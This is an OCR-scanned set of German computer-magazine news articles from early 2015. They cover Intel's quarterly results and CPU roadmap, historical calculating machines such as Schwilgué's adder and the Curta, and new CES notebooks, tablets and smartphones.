Cloudera. Zuletzt kam Anfang Januar noch 
die Vuzix Corporation hinzu, eine Art New 
Yorker Antwort auf Google Glass. Der Brillen- 
markt scheint aber noch nicht so übermäßig 
erfolgreich zu sein, Google hat jedenfalls den 
Verkauf der Glass erst einmal eingestellt. 

Aber Intel kennt sich im Mobile-Bereich ja 
mit roten, genauer gesagt mit tiefroten Zah- 
len aus, auch diesmal lag trotz des Rekord- 
quartals die Sparte für Mobil- und Telecom- 
Chips im Defizit. Und das nicht nur mit über 
einer satten Milliarde Dollar Verlust beim 
operativen „Gewinn“, sondern sogar mit 
einem irgendwie zusammengerechneten ne- 
gativen Umsatz von -6 Millionen. Die erfolg- 
lose, bislang von Herman Eul geführte Mobi- 
le and Communications Group MCG wird ab 
jetzt als eigenständige Abteilung aufgelöst 
und verschmilzt mit der von Kirk Skaugen 
geleiteten PC Client Group zur Client Com- 
puting Group. 

Skaugen hats gut, der PC-Markt hat sich 
wieder leicht erholt und trug mit einem Plus 
von 3 Prozent zum Erfolg bei. Und dann hat 


Nach Galileo und Edison nun Curie: 
Intels neuestes und kleinstes Quark-SoC 


man ja noch die Datacenter Unit, und auf die 
kann sich Intel verlassen. Die legte gleich um 
ein Viertel zu und spülte so eine gute Milliar- 
de mehr in die Kassen als im Vorjahresquar- 
tal. Kein Wunder, kann Intel doch bei den 
Servern mangels Konkurrenz nach Belieben 
den Markt dominieren, dirigieren und die 
Preise gestalten - jedenfalls noch. Open- 
Power als mögliche Alternative muss erst 
noch in Schwung kommen. IBM legte jetzt 
erst einmal bei den Mainframes mit der z13 
nach (siehe S. 45) - das ist auch so ein Markt, 
wo einer allein herrscht und keine wirkliche 
Konkurrenz fürchten muss. 


Broadwell & Skylake 


Früher gab es bei Intels neuen Preislisten zu- 
meist auch einige Preissenkungen, diesmal 
jedoch Fehlanzeige. Auch die neuen Has- 
well-Prozessoren der 4600-Familie - das sind 
die für vier Sockel, die aber anders als die EX- 
Kollegen nur eine sehr schlappe Verbindung 
untereinander pflegen, sind hier noch außen 
vor, obwohl sie im aktuellen Specification 
Update schon verzeichnet sind. 

Man findet lediglich eine Handvoll neuer 
ULV-Mobil-Prozessoren sowie die im Novem- 
ber angekündigten Core-M-Prozessoren im 
Stepping F. Mit jenem hat Intel gleich ein 
gutes Dutzend Fehler des Vorgängers besei- 
tigt, zumeist solche, die zuvor interessanter- 
weise noch gar nicht aufgelistet waren. 

So reagierte der Prozessor unwirsch bei zu 
häufigem Wechsel zwischen den tiefen 
Stromsparzuständen oder er initialisierte zu- 
weilen den LPDDR3-Speicher nicht vollstän- 
dig und blieb beim Booten hängen. Beides 
konnte und musste man mit BIOS-Work- 
arounds umgehen. Das ging aber nicht bei 
dem bekannten Fehler BDM53 bei Transactio- 
nal Memory (TSX), der mit dem neuen Step- 
ping nun endlich repariert wurde - aber der 
einzig beim Core M-5Y71 freigeschaltet ist. 

Bei nur zwei Kernen ist TSX allerdings 
noch nicht wirklich gefordert - auf den Vier- 
kerner mit Broadwell-Kern (Broadwell-H) 
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wird man allerdings noch bis mindestens 
Mitte des Jahres warten müssen. Das hat 
Intel auf der CES bestätigt. Dann sind diese 
aber fast schon überflüssig, wurde doch für 
die zweite Jahreshälfte bereits die Skylake- 
Generation mit neuer Architektur samt 
AVX512 angekündigt. Und die Szene fragt 
sich: fällt Broadwell-H vielleicht ganz ins 
Wasser? 

Ähnliche Fragen tauchen bei den Servern 
auf. Macht ein Broadwell-EP irgendwann im 
Verlauf von 2016 noch Sinn - wenn schon 
der Skylake-EP mit seinen Hufen scharrt? Für 
die HPC-Szene dürfte dessen Sockelkompa- 
tibilität zu Intels nächster Xeon-Phi-Genera- 
tion Knights Landing besonders verlockend 
sein, und den hat uns Intel ja bereits für die 
zweite Jahreshälfte 2015 versprochen. 

Und wie wirds nach Skylake weitergehen? 
Man hörte davon, dass die 10-nm-Technik, 
die immer noch nicht mit EUV, sondern mit 
weiter verbesserter Laser-193-nm-Technik 
und schwarzer Magie arbeitet, im Zeitplan 
läge, aber wer glaubt ernsthaft daran, dass 
der Cannonlake (ehemals Skymont) genann- 
te „geshrinkte” Skylake wirklich noch 2016 
debütiert? Es sieht ohnehin mittelfristig so 
aus, dass Intel vom Tick-Tock-Modell so lang- 
sam in ein Tick-Tock-Tock-Modell übergehen 
könnte, also nach einem Tick-Shrink viel- 
leicht zwei Architekturen pro Prozessgenera- 
tion herausbringt. 


Schlingerkurs 


Konkurrent AMD macht derweil weniger 
durch neue Produkte als vielmehr durch Ma- 
nager- und Sicherheitslücken auf sich auf- 
merksam. Gleich drei Top-Manager verlassen 
das schlingernde Schiff unter Kapitänin Lisa 
Su, darunter der erste Offizier John Byrne, 
der seit Juli 2014 die Computing and Gra- 
phics Business Unit geleitet hat. Su über- 
nimmt kommissarisch seinen Job, bis ein 
Nachfolger gefunden ist. Gleichzeitig ma- 
chen heftige Sicherheitsmängel in der Sys- 
tem Management Unit (siehe S. 48) von sich 
reden 

Viel lieber würde man ja was von AMDs 
ARMv8-Chip Opteron A1100 hören, aber da 
herrscht Ruhe im Schiff. Der uns mal vor 
einem Jahr fest versprochene Testchip ist ir- 
gendwo im Bermuda-Dreieck zwischen Rory 
Read, Lisa Su und Andrew Feldman ver- 
schollen - Benchmark-Ergebnisse hätten 
wir ohnehin nicht veröffentlichen dürfen. 
Vor gut einem Jahr hat die SPEC zwar be- 
reits die CPU2006-Suite für ARMv8 unter Fe- 
dora19 herausgegeben, jetzt gibt es dafür 
bereits Fedora 21 - doch konkrete Bench- 
mark-Eergebnisse von AMD, Applied Micro 
oder Cavium? Fehlanzeige auf ganzer Linie. 
Von den seit Oktober 2014 veröffentlichten 
2426 CPU2006-Ergebnissen stammen wie 
viele von Intel-Prozessoren? Genau: 2426 - 
klarer kann man die Situation auf dem Ser- 
ver-Markt wohl kaum demonstrieren. Davor 
findet man zwei einsame, wenn auch mäch- 
tige Power8-Inseln in den weiten Intel- 
Fluten. (as) 
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aktuell | Historische Rechner 


Andreas Stiller 


Der erste Prozessrechner 


Neues zu alten Rechnern und 1000 Jahre Straßburger Münster 


Ob in Straßburg, Hannover oder Zürich, überall machen wiederaufgetauchte 
alte oder mühevoll rekonstruierte Rechner von sich reden. Hinzu kommen 
bislang unbekannte Konstruktionszeichnungen und interessante Dokumente - 
und was haben historische Rechner mit dem Straßburger Münster zu tun? 


K:: vor Weihnachten 2014 
stöberte der Schweizer In- 
formatiker, Technikhistoriker und 
Dozent i. R. der ETH Zürich, Her- 
bert Bruderer im Depot des 
Straßburger Historischen Muse- 
ums - neben zwei Vormodellen 
und mechanischen Zählern - 
eine eigenartige mechanische 
Rechenmaschine auf, deren Exis- 
tenz zwar einigen Historikern be- 
kannt, aber ansonsten weit- 
gehend in Vergessenheit gera- 
ten war. 

Der Konstrukteur dieser gro- 
ßen Addiermaschine war nie- 
mand anderes als Jean-Baptiste 
Schwilgue (1776-1856), der be- 
deutende französische Uhrma- 
chermeister, der von 1838 bis 
1842 die astronomische Uhr des 
Straßburger Münsters konstruiert 
hat, die dritte im Verlauf der nun- 
mehr 1000-jährigen Geschichte 
der Kathedrale. Die astronomi- 
sche Uhr ist neben der von Be- 
sancon wohl die bedeutendste - 
und sie läuft heute noch. 

Am Heiligen Abend vor 170 
Jahren hatte Schwilgu& sein 
Patent für eine mechanische 
Addiermaschine und einen all- 
gemeinen mechanischen Zähler 
angemeldet. Seine Rechenma- 
schine gilt als das älteste erhalte- 


ne Addiergerät, bei dem sich die 
Zahlen über eine Tastatur einge- 
ben lassen. Bisher waren nur 
zwei Modelle bekannt; ein nicht 
betriebsbereites aus dem Jahre 
1846 befindet sich ebenfalls in 
Straßburg. Es wurde vor Jahren 
von den Nachfahren der Inge- 
nieure Ungerer, die später das 
Schwilgue-Unternehmen über- 
nommen hatten, dem Straßbur- 
ger Kunstgewerbemuseum über- 
geben und gelangte erst 2014 
an das Straßburger Historische 
Museum. 

Schon vor einem Jahr hatte 
Bruderer im Fundus der 1980 
außer Betrieb gegangenen eidge- 
nössischen Sternwarte eine gut 
erhaltene, funktionsbereite Tas- 
tenaddiermaschine von Schwil- 
gue aus dem Jahre 1851 wieder- 
entdeckt sowie ein frühes Exem- 
plar eines Thomas-Arithmo- 
meters. Dieses Arithmometer, 
gebaut von dem Versicherungs- 
unternehmer Thomas de Colmar 
(1785 - 1870) aus Paris, war die 
weltweit erste, erfolgreiche und 
in Serie gefertigte (mechanische) 
Rechenmaschine. Sie beruht auf 
dem Prinzip der Leibniz-Rechen- 
maschine, deren einzig erhalte- 
nes Original sich in der Gottfried 
Wilhelm Leibniz Bibliothek in 


Die mühevoll nachgebaute Leibniz-Chiffriermaschine 


20 


Bild: G. Rottstedt 


Hannover befindet und dort 
behütet wird wie ein Augapfel. 
Erst vor Kurzem, Ende November 
2014, wurde das Original erst- 
mals der Öffentlichkeit präsen- 
tiert. 


Leibniz und Schwilgue 


Und nun Mitte Januar 2015 
wurde an der hannoverschen 
Leibniz-Universität im Rahmen 
der Leibniz-Dauerausstellung 
auch ein Nachbau der Machina 
Deciphratoria - ein weniger be- 
kannter Vorläufer der Enigma - 
präsentiert. Von der zu Leibniz- 
Zeiten gar nicht gebauten Ver- 
schlüsselungsmaschine haben 
Ingenieur Klaus Badur und Fein- 
mechaniker Gerald Rottstedt in 
fünfjähriger Kleinarbeit nach den 
alten Konstruktionszeichnungen 
zwei funktionierende Exemplare 
fertiggestellt. Das Team hatte 
vorher auch schon Leibniz’ Re- 
chenmaschine rekonstruiert. 
Bruderer forschte inzwischen 
weiter und fand nun heraus, 
wozu Schwilgu& die selbstent- 
wickelte Rechenmaschine benö- 
tigt hatte, nämlich zum Einstel- 
len der hochpräzisen Zahnrad- 
fräsmaschine, die Schwilgue 
schon um 1825 eigens für die 


Anfertigung gewisser Räder der 
astronomischen Uhr gebaut 
hatte. Damit hatte er sozusagen 
den ersten Prozessrechner und 
die erste numerisch per Papier- 
streifen gesteuerte Fräsmaschi- 
ne. Denn die mechanisch er- 
rechneten Zahlenfolgen schrieb 
er von Hand auf ein Papierband, 
das in einem Kästchen um zwei 
Rollen gewickelt war. Dank Grif- 
fen ließen sich die Rollen nach 
jedem Arbeitsgang vorwärts 
schieben. Durch ein Glasfenster 
konnte man drei aufeinander- 
folge Ziffern des Papierstreifens 
lesen. 


J.& A. und Tomi Ungerer 


Mit Hilfe dieser Fräsmaschine 
kann man gerade Stirn-, Kegel- 
und Schneckenräder herstellen. 
Dank ihrer beeindruckenden Prä- 
zision von deutlich unter einem 
Mikrometer (ein Zehnmillionstel 
des Trommelumfangs) war die 
Zahnrad-Fräsmaschine noch lan- 
ge bei den Werkstätten von J. & 
A. Ungerer für bestimmte Zahn- 
räder in Betrieb. Sie wurde aller- 
dings dann von einem Elektro- 
motor angetrieben und nicht 
mehr wie zu Schwilgue-Zeiten 
via Handschwungrad. 

Aus der Straßburger Uhr- 
macherfamilie stammt übrigens 
nicht nur unser Kollege von der 
iX-Redaktion Bert Ungerer, son- 
dern auch der bekannte franzö- 
sische Schriftsteller, Grafiker und 
Karikaturist Tomi Ungerer, der 
angesichts der brutalen Attenta- 
te in Paris nun zu Ehren der 
Opfer eine Ausstellung im Straß- 
burger Ungerer Museum organi- 
siert hat, die alle Titelbilder des 
Satire-Magazins „Charlie Hebdo” 
zeigt. 

Daneben gibt es in diesem 
Jahr in Straßburg zahlreiche 


Ansicht auf die Walzen von Schwilgue’s großer Rechenmaschine 
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Bild: Historisches Museum Straßburg 


Feierlichkeiten zum „mill&naire 
des fondations de la cathedrale 
de Strasbourg“, welche 2015 ihr 
tausendjähriges Jubiläum feiert. 
Passend dazu soll im Herbst 
2015 das Buch „Meilensteine der 
Rechentechnik: Zur Geschichte 
der Mathematik und der In- 
formatik“ von Bruderer heraus- 
kommen, natürlich verziert auf 
der Titelseite mit dem Züricher 


| 


Exemplar der berühmten Re- 
chenmaschine des Straßburger 
Uhrmachermeisters Schwilgue. 


Ermeth und Curta 


Bruderer ist unter anderem auch 
Autor des Buches „Konrad Zuse 
und die Schweiz”, in dem er auch 
auf die Frage eingeht, wer denn 
nun den Computer erfunden hat 


Bild Bildarchiv ETH Zürich 


Geprägt von Pleiten, Pech 
und Pannen, der erste in 
der Schweiz entwickelte 
Computer Ermeth 


- es sind halt mehrere. Für das 
Buch hat er viele Fakten aus dem 
Hochschularchiv der ETH und 
anderswo aufgespürt, etwa über 
Zuses Rechenlocher M9. Die 
ETH Zürich sorgte nämlich mit 
dem fünfjährigen Mietvertag 
von 1950 bis 1955 für Zuses über 
den Krieg gerettete Z4 für die 
Anschubfinanzierung der Zuse 
KG. Hinzu kam ein Anschluss- 
auftrag der Züricher Remington 
Rand für über 20 Stück M9. 

In dem Buch geht er auch auf 
die erste Eigenentwicklung einer 
elektronischen Rechenmaschine 
an der ETH namens Ermeth ein; 
ein Rechner mit 1500 Röhren 
und Magnettrommelspeicher, 
der über eine Millionen Franken 
verschlungen hat und der jetzt 
im Berner Museum für Kommu- 
nikation steht. Inzwischen ist die 
50-jährige Schutzfrist abgelau- 
fen und die nunmehr freige- 
gebenen Dokumente aus dem 
Archiv der ETH-Bibliothek offen- 
baren ein buntes Panorama von 
Pleiten, Pech und Pannen rund 
um den Rechner - kein Wunder 
also, dass man die Dokumente 
lieber verschloss. 

Neue Dokumente sind auch 
aus dem Nachlass des Öster- 
reichers Curt Herzstark aufge- 
taucht, vor allem Konstruktions- 
zeichnungen, die er, als Halbjude 
ins KZ Buchenwald gesperrt, 
für die kleinste mechanische 
Universalrechenmaschine Liliput, 
später Curta getauft, angefertigt 
hatte. Die Nazis hatten seine 
Fähigkeiten erkannt und ließen 
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Liebevoll Pfeffermühle getauft: 
die Curta 1 von Curt Herzstark 


ihn an Rechenmaschinen tüfteln, 
die sie unter anderem für die 
Herstellung von feinmechani- 
schen Teilen für die V2-Raketen 
gebrauchen konnten. Herzstark 
schaffte es dank seiner kriegs- 
wichtigen Position sogar, einige 
Mithäftlinge vor dem Tod zu be- 
wahren. Er überlebte das Lager 
und gründete nach dem Krieg 
nach einigen Wirren in Liechten- 
stein die Cortina AG, die die mit 
einer Kurbel betriebene Curta 
herstellte. Die bis 1971 gefertigte 
legendäre Curta, liebevoll „Pfef- 
fermühle” getauft, wurde über 
140 000-mal hergestellt. Auf 
eBay findet man gelegentlich 
Angebote so zwischen 500 und 
1000 Euro. (as) 


Bild: Liechtensteinisches Landesmuseum, Vaduz (Sven Beham) 
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Florian Müssig 


Generations- 


wechsel 


Notebooks mit Intels Core i-5000, 
3D-Kamera oder Nvidia-Grafikchip 


Intel hatte in Las Vegas sowohl die fünfte 
Core-i-Generation im Gepäck als auch seine 
3D-Kamera RealSense. Beide wird es wie auch 
Nvidias neuste Mobil-GPU GeForce GTX 965M 
schon in Kürze in etlichen Notebooks geben. 


AA ufder CES fiel Anfang Januar der lang er- 
Awartete Startschuss für Intels fünfte 
Core-i-Generation [1]. Viele Hersteller setzen 
die CPUs in frischen Ausstattungsvarianten 
bekannter Notebooks ein, die schon inner- 
halb der nächsten Wochen bei den Händlern 
stehen sollen - wenngleich bislang kaum ein 
Hersteller große Aufmerksamkeit auf solche 
Geräte lenkte. 

Zu den wenigen Neuentwicklungen rund 
um die Core-i-5000-Prozessoren zählt das 
XPS 13. Dell hat ein äußerst kompaktes Sub- 
notebook auf die Beine gestellt: Der Rahmen 
um den 13-Zoll-Bildschirm misst gerade ein- 
mal fünf Millimeter. Durch diesen schmalen 
Rand entspricht die Grundfläche des Rumpfs 
eher der eines 11,6-Zöllers. Das Gewicht von 
rund 1,2 Kilo fällt angenehm gering aus; Ver- 
arbeitung und Materialien (Metall, Sichtkar- 
bon) sind auf hohem Niveau. 

Dell bietet das XPS 13 mit zwei verschiede- 
nen IPS-Displays an. Der Touchscreen der teu- 
reren Modelle (ab 1400 Euro) zeigt 3200 x 
1800 Punkte, in später folgenden günstigeren 
Varianten steckt ein mattes Full-HD-Panel. 
Wer auf eine besonders lange Akkulaufzeit 
aus ist, sollte auf letztere warten: Für solche 
Modelle verspricht Dell bis zu 15 Stunden pro 


Akkuladung. Mit dem Hoch-DPI-Touchscreen 
sind laut Dell bis zu 11 Stunden drin. 


3D-Kamera 


Intel-Chef Brian Krzanich hatte in seiner Key- 
note kein Wort zu den neuen Prozessoren 
verloren, sondern lieber ausführlich demons- 
triert, dass die hauseigene 3D-Kamera Real- 
Sense mittlerweile in vielen Geräten wie 
Drohnen und Telepräsenz-Robotern zum 
Einsatz kommt. Als Nächstes soll sie PCs und 
Notebooks erobern, allerdings nicht zur au- 
tonomen Navigation: Zum Start dürfte es im 
Alltag für kaum mehr als Gestensteuerung 
reichen - also das Scrollen durch die Kachel- 
oberfläche von Windows oder das Pausieren 
von Videos, ohne dass man dazu Maus oder 
Touchscreen verwenden muss. 

Unter anderem zeigten Acer (Aspire V17 
Nitro Black Edition), Dell (Inspiron 15 5000, 
Inspiron 23 AiO), HP (Envy 15) und Lenovo 
(ThinkPad E550, ThinkPad Yoga 15) mit Real- 
Sense bestückte Geräte, die man bereits in 
den kommenden Wochen kaufen kann. Eini- 
ge davon gibt es schon länger, in ihnen kom- 
men Vierkern-Prozessoren der vierten Core- 
i-Generation zum Einsatz. Weil die neue fünf- 


te Core-i-Generation auf absehbare Zeit aus- 
schließlich leistungsschwächere Doppelker- 
ne umfasst, haben die Hersteller Intels Real- 
Sense-Offensive augenscheinlich gerne an- 
genommen, um die Systeme noch für ein 
weiteres halbes Jahr frisch zu halten. 


Gaming-Power 


Für Gaming-Notebooks steht ab sofort Nvidi- 
as GeForce GTX 965M parat, die das Sorti- 
ment der bereits im Oktober vorgestellten 
High-End-GPUs 970M und 980M nach unten 
abrundet. Alle drei Grafikchips kommen 
unter anderem in den neuen Alienware- 
Notebooks mit 15- oder 17-Zoll-Bildschirm 
(ab 1500 beziehungsweise 1750 Euro) zum 
Einsatz, die ab Februar ausgeliefert werden. 
Wem die derzeit schnellste Mobil-GPU GTX 
980M nicht ausreicht, welche es für beide Mo- 
delle gibt, der kann die Notebooks über einen 
Alienware-spezifischen Stecker mit einer Gra- 
fikverstärker getauften Zusatzbox um eine 
nochmals leistungsstärkere Desktop-Grafik- 
karte ergänzen - sei es schon jetzt oder aber 
später im Lebenszyklus, wenn die interne GPU 
für die dann gestiegenen 3D-Anforderungen 
nicht mehr ausreicht. (mue) 


Das Display von Dells 13-Zoll-Notebook XPS 13 hat einen 
nur 5 Millimeter schmalen Rahmen. 
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Nutzt man Alienwares 17-Zoll-Notebook samt Grafikverstärker, 


so wird es eng auf dem Schreibtisch. 
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Florian Müssig 


Zum Mitnehmen, bitte! 


Nvidias neuer Mobilprozessor Tegra X1, Windows-Tablets 
mit Core M oder Stifteingabe - und das erste 4-GByte-Smartphone 


Nvidia trommelt für seinen Tegra X1 mit Tablet-Benchmarks, will ihn aber 

vorerst gar nicht in Tablets einsetzen. Neue Windows-Tablets bieten hohe 
Core-M-Performance oder erlauben beliebige Gegenstände als Stiftersatz. 
Und Asus bringt das erste Smartphone mit satten 4 GByte Arbeitsspeicher. 


N vidia-Boss Jen-Hsun Huang stellte in sei- 
ner Keynote auf der CES den Mobil-Pro- 
zessor Tegra X1 vor, in dem 256 Maxwell- 
Shader und acht ARM-Kerne (big.LITTLE, vier 
A57 plus vier A53) arbeiten. Die vorhergesag- 
te Performance, die Huang mit 3DMark-Wer- 
ten und anderen Tablet-Benchmarks unter- 
mauerte, ist beeindruckend, scheint jedoch 
mit starker Erwärmung erkauft zu sein: Nvi- 
dia spezifizierte die Leistungsaufnahme des 
Tegra X1 nur ungenau mit „weniger als 10 
Watt”. Für Tablets dürfte das zu viel sein, für 
Smartphones erst recht. 

Huang hat für den X1 aber sowieso einen 
anderen Absatzmarkt auserkoren, nämlich 
die Automobil-Branche: Der X1 soll schon 
2016 den Markt über die Entwicklerkits Drive 
CX (für digitale Cockpits) und Drive PX (für 
kameraverarbeitende Assistenzsysteme) auf- 
mischen. Wir halten seine Prognose für arg 
optimistisch: Das volldigitale Cockpit, das 
derzeit im Audi TT und VW Passat als Option 
bereitsteht, nutzt jedenfalls noch den anno 
2010 vorgestellten Tegra 3. 


Windows-Tablets 
potent oder günstig 


Die Anfang Januar gezeigten Tablet-Neuhei- 
ten waren denn auch durchgängig von Intel- 
CPUs befeuert. Toshiba hatte sein Portege 
Z20t mitgebracht, einen nur 730 Gramm 
leichten 12,5-Zöller (Full HD, Stifteingabe) mit 
Ansteck-Tastatur und Core-M-Prozessor. Der 
Akku soll über 9 Stunden durchhalten, mit 
dem im Tastatur-Dock enthaltenen Zweit- 
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akku sogar über 17 Stunden. Hierzulande wird 
das Z20t frühestens im März zu Preisen deut- 
lich jenseits der 1000-Euro-Marke erscheinen. 

Ebenfalls mit Core M, 12,5-Zoll-Bildschirm 
und Anstecktastatur bringt Asus das Trans- 
former Book T300 Chi im zweiten Quartal für 
dreistellige Preise in die Läden. Anders als bei 
Z20t gibt es hier gegen Aufpreis ein 2560er- 
Panel; der Akku soll bis zu 8 Stunden schaffen. 

In den günstigen Chi-Geschwistern T100 
(10,1 Zoll) und T90 (8,9 Zoll) stecken leis- 
tungsschwächere Atom-Prozessoren und 
mitunter nur 32 GByte eMMC-Speicher. 
Toshiba hatte ebenfalls ein Atom-betriebe- 
nes 8,9-Zoll-Tablet mit Anstecktastatur im 
Gepäck, das Satellite Click Mini. Es wiegt 470 
Gramm und hält bis zu 8 Stunden durch, das 
Tastatur-Dock mit Akku verdoppelt sowohl 
Laufzeit als auch Gewicht. 

Auch bei den Windows-Tablets ohne Tas- 
tatur gibt es Neuzugänge. Toshiba liefert die 
Encore-2-Write-Tablets mit Digitizer-Stift aus; 
es gibt die Geräte wahlweise mit 8- oder 10- 
Zoll-Bildschirm (jeweils 1280 x 800 Punkte). 
Bei Lenovos 8-Zoll-Vertreter der Yoga-Tablet- 
2-Serie ist es hingegen egal, womit man den 
AnyPen-Touchscreen berührt: Solange es ein 
länglicher Gegenstand ist, kann man damit 
schreiben und malen. 


4-GByte-Smartphone 


64-Bit-Prozessoren und -Betriebssysteme 
gibt es bei Smartphones schon seit gerau- 
mer Zeit, nun folgt der nächste logische 
Schritt: Asus stattet sein Zenfone 2 mit satten 


In Toshibas 12,5- 
Zoll-Tablet Portäge 
Z20t steckt Intels 
Core-M-Prozessor. 
Es hält bis zu 

17 Stunden durch, 
wenn man das 
Tastatur-Dock samt 
Zweitakku nutzt. 


Der Touchscreen 
von Lenovos 
8-Zöller Yoga 
Tablet 2 lässt sich 
mit Möhren und 
Scheren bedienen. 
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4 GByte Arbeitsspeicher aus - mit 32 Bit lie- 
ßen sich so viel RAM nicht nutzen. In dem 
5,5-Zoll-Smartphone mit Full-HD-Auflösung 
arbeitet Intels Atom Z3580. 

Das Mobilfunkmodem spezifiziert Asus 
nicht genauer, verspricht aber Dual-SIM-Fä- 
higkeit und LTE mit bis zu 150 MBit/s (Cat. 4). 
Die Frontkamera knipst Bilder mit 5 Mega- 
pixel, die an der Rückseite mit 13 Megapixel. 
Mit 2 GByte Arbeitsspeicher und 16 GByte 
Flash kostet das Zenfone 2 ab 200 US-Dollar; 
gegen Aufpreis stellt Asus auch 32 oder 64 
GByte internen Speicher sowie eben 4 GByte 
Arbeitsspeicher in Aussicht. Das Smartphone 
wird frühestens ab März verfügbar sein, 
hierzulande wahrscheinlich noch später. 
Asus liefert es mit Android 5.0 Lollipop aus 
und ergänzt dieses um eine neue Version der 
hauseigenen Oberfläche ZenUl. 

Zusätzlich präsentierte Asus-Chef Jonney 
Shih das Zenfone Zoom, bei dem die rück- 
wärtige 13-MPixel-Kamera im Mittelpunkt 
steht: Sie enthält zehn Linsen, einen opti- 
schen 3-fach-Zoom (digital 12-fach) und 
einen Bildstabilisator. Der Auto-Fokus arbei- 
tet per Laser, der minimale Abstand für 
Makro-Aufnahmen beträgt fünf Zentimeter. 
Die restlichen Eckdaten ähneln dem Zenfo- 
ne 2; das Zoom wird allerdings deutlich teu- 
rer ausfallen und erst später kommen. 

Acer brachte zwei günstige Smartphones 
mit: das dünne und leichte Liquid Jade S für 
300 Euro und das nur 130 Euro teure Liquid 
Z410 4G. Beide sind LTE-fähig und laufen mit 
64-Bit-fähigen Prozessoren. Installiert ist bei 
Auslieferung allerdings wohl noch das nur 32- 
bittige Android 4.4; ein Update auf Android 5 
mit 64 Bit soll kurz nach Markteintritt kommen. 

Das Liquid Jade S ist Nachfolger des Jade 
Plus und erbt dessen dünne Bauform und 
das geringe Gewicht (116 Gramm). Auch der 
interne Kombislot bleibt: Er nimmt entweder 
eine zweite SIM-Karte oder eine Speicherkar- 
te auf. Das Display zeigt wie gehabt nur 1280 
x 720 Punkte auf 5 Zoll. Drin stecken der 
Achtkern-Prozessor Mediatek MT6752M, 


2 GByte Arbeitsspeicher und 16 GByte Flash. 
Dem Liquid Z410 4G merkt man den niedri- 
gen Preis noch stärker an: Das Display mit 4,5 
Zoll zeigt nur 940 x 540 Pixel, die Kameras 
haben 5 und 2 Megapixel. 


(mue) 
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OnePlus One und LG G2 zerstören SIMs 


In Support-Foren häufen sich Be- 
richte von Smartphone-Nutzern, 
deren SIM-Karten in den An- 
droid-Telefonen LG G2 und One- 
Plus One nach etwa einem 
Monat ausfallen. Hauptsächlich 
ist vom Provider Congstar die 
Rede, vereinzelt auch von Klar- 
mobil und Callmobile. Auch im 
Smartphone Oppo N1 fallen die 
Karten aus. Betroffen ist dem- 
nach ausschließlich die SIM-Ver- 
sion C/W2, nicht aber die ältere 
V2 - auf Congstar-SIMs ist die 
Bezeichnung rechts unten auf- 
gedruckt. 

Ursache des Ausfalls ist wohl, 
dass die Smartphones die SIMs 
mit einer zu hohen Spannung 
betreiben. Es gibt Karten mit 5, 3 
und 1,8 Volt, die Slots betreiben 


sie mit der passenden Span- 
nung. Unklar ist, ob die Karte 
eine zu hohe Spannung anfor- 
dert oder ob das Smartphone 
eine höhere als angefordert ein- 
stellt. 

Inzwischen hat Congstar rea- 
giert und bittet Betroffene, sich 
im Support-Chat zu melden, 
ihnen will Congstar dann eine 
SIM „einer anderen Generation” 
schicken. Vorher bekamen Betrof- 
fene wiederholt neue C/W2-Kar- 
ten, die von ihren Smartphones 
nach einem Monat dann wieder 
gegrillt wurden. Einige Nutzer be- 
richten, dass sie auch nach Cong- 
stars Reaktion noch C/W2-Karten 
erhalten hätten. (jow) 


CE Support-Foren: ct.de/yx16 


Nicht für Deutschland: Tizen, Xiaomi 


Das Samsung Z1 ist da, das erste 
Smartphone mit dem Open- 
Source-Betriebssystem Tizen, das 
aus Intels MeeGo und Nokias 
Maemo entstanden ist. Allerdings 


zamsunn # 


Das erste Tizen-Smartphone 
kommt in Indien auf den Markt 
und ist mager ausgestattet. 


Der chinesische 

Hersteller Xiaomi zeigt das 
High-End-Smartphone Mi Note 
Pro, doch in Europa erscheint 
es wohl nicht. 
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erscheint es nur in Indien und soll 
dort die Käufer mit einem lokali- 
sierten und teils kostenlosen En- 
tertainment-Angebot sowie sechs 
Monaten Mobilfunk-Freivolumen 
locken. Die Ausstattung des um- 
gerechnet keine 80 Euro teuren 
Z1 fällt karg aus: 4-Zoll-Display, 
3-Megapixel-Kamera, Frontkame- 
ra mit VGA-Auflösung. 

Zum App-Angebot unter Tizen 
sagte Samsung nichts. Auf einem 
vorab aufgetauchten, aber von 
Samsung offiziell nicht gezeigten 
Video waren Apps zu sehen, die 
in einer Art Android-Emulator 
von OpenMobile liefen. Für An- 
droid-Apps ist das Z1 allerdings 
mit nur 0,75 GByte Arbeitsspei- 
cher, Zweikern-Prozessor und 
4 GByte Flash eher schlecht ge- 
rüstet. 

Ein Android-Smartphone mit 
derzeit fast bestmöglicher Aus- 
stattung zeigte hingegen der chi- 
nesische Hersteller Xiaomi, das 
Mi Note Pro: 5,7-Zoll-Display mit 
2560 x 1440 Punkten und abge- 
rundeter Kante, Qualcomms 
schneller CPU Snapdragon 810 
mit 8 Kernen, 4 GByte Hauptspei- 
cher, 64 GByte Flash, zwei SIM- 
Slots und LTE. Allerdings kommt 
es vorerst nur in China auf den 
Markt, dort für umgerechnet 
etwa 460 Euro. Auch zwei günsti- 
gere Varianten für 320 und 390 
Euro sollen kommen. Laut Xiao- 
mis Vizepräsident Hugo Barra, 
vormals Googles Android-Chef- 
entwickler, soll der Verkauf in 
Europa und den USA erst in eini- 
gen Jahren starten. (jow) 


CyanogenMod mit Android 5 


Die Entwickler des populärsten 
Alternativ-ROMs für Android-Ge- 
räte haben die ersten Vorabver- 
sionen („Nightlies”) von Cyano- 
genMod 12 mit Android 5 ver- 
öffentlicht. Die grundlegenden 
Funktionen wie Telefonie, WLAN, 
Bluetooth, GPS und Kamera sind 
implementiert, es fehlen einige 
Cyanogen-Besonderheiten wie 
die anpassbaren Schnelleinstel- 
lungen. Die Integration der Cya- 
nogen-Themes hat begonnen, 
doch die Entwickler weisen da- 
rauf hin, dass die meisten beste- 
henden Themes aufgrund ver- 
schiedener Probleme unter 
CM12 vermutlich nicht gut aus- 
sehen oder gar nicht starten 
dürften. Ein Extra von CM12 ist 
die in die Rechteverwaltung in- 


tegrierte Superuser-Funktion, so- 
dass separate Superuser-Tools 
wie SuperSU des Android-Ent- 
wicklers Chainfire überflüssig 
werden. 

CyanogenMod nutzt den von 
Google im AOSP (Android Open 
Source Project) bereitgestellten 
Quellcode von Android. Die 
Nightlies von CM12 gibt es für 
rund 30 Geräte, darunter HTC 
One M7 und M8, LG G2 und 
One S, Moto G, OnePlus One, 
Samsung Galaxy S4 mini, Note 3 
und Tab 8.4 sowie einige Nexus- 
Modelle. Wann CM12 fertigge- 
stellt sein soll, sagt Cyanogen 
nicht. (jow) 


EE Download CM12-Nightlies: 
ct.de/yx16 


